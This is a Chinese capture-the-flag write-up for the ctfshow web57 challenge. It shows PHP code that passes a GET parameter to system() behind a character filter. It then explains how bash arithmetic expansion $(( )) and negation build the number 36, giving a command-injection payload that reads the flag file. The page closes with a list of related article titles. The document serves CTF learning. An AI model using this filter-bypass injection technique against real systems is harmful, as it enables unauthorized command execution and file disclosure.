当前位置: 首页 > news >正文

ctfshow web57

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}

过滤了; a-z 0-9``反引号 % \x09 \x26 > <``\x0a``(``{``'``" ````# .,?*-=``[`

可以说过滤的非常完全了,之前的临时文件上传也无法使用了(.和/都给你过滤了),这里没有办法,但是看到flag in 36.php或许是突破口,但是数字不是过滤了吗

利用linux的$(())构造出36

$(())=0

$((~ $(()) ))=-1

(())是用来整数运算的命令,内部可以放表达式,默认相加,通过$((~36)) 可得36取反为-37

综合上述,可以构造payload

:::info
?c=$(($((</font>$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(()))) ))))

:::

payload中标红的地方就是取反,红色里面包含37个$((~$(())))都是-1,默认相加,得到-37后再取反即可得到36

http://www.zskr.cn/news/8087.html

相关文章:

  • 详细介绍:【SQLMap】POST请求注入
  • ctfshow web51
  • ctfshow web46
  • 线性调频信号(LFM)在雷达中的时域及频域MATLAB编程
  • 最大流判定+拆点
  • Spring Cloud Gateway WebFlux现cvss10分高危漏洞,可导致环境属性篡改 - 详解
  • Flash Attention算法动画
  • 【技术实现】7天极速搭建体育比分网站 - 世界杯期间流量红利抓取实战
  • C#开发ONVIF客户端与RTSP播放库指南
  • 经验分享 —— 在 Ubuntu 虚拟机中部署 OceanBase 数据库
  • CH584 CH585 复位状态寄存器
  • AppConfig
  • 绕过安全控制安装第三方软件
  • 软件体系结构概论 1章
  • SQLSERVER数据备份 - 实践
  • 逆向分析之if语句与循环语句的分析
  • ROMA-iOS适配深色模式总结
  • Git 指令笔记 - 详解
  • Syntax Error: TypeError: eslint.CLIEngine is not a constructor 解决方案
  • 【ACM出版】2025年人工智能、虚拟现实与交互设计国际学术会议(AIVRID 2025)
  • 《sklearn机器学习——特征提取》 - 指南
  • Windows 10 11 Boot Fix
  • ubuntu 安装 milvus
  • SI/PI学习笔记1 -20250911
  • Web开发工具一套式部署Maven/Nvm/Mysql/Redis - 教程
  • 单词翻转
  • 详细介绍:kafka如何保证消息不被重复消费
  • C++ 最开始的地方
  • ClkLog埋点与用户行为分析系统:架构升级与性能全面提升
  • ARC187 做题记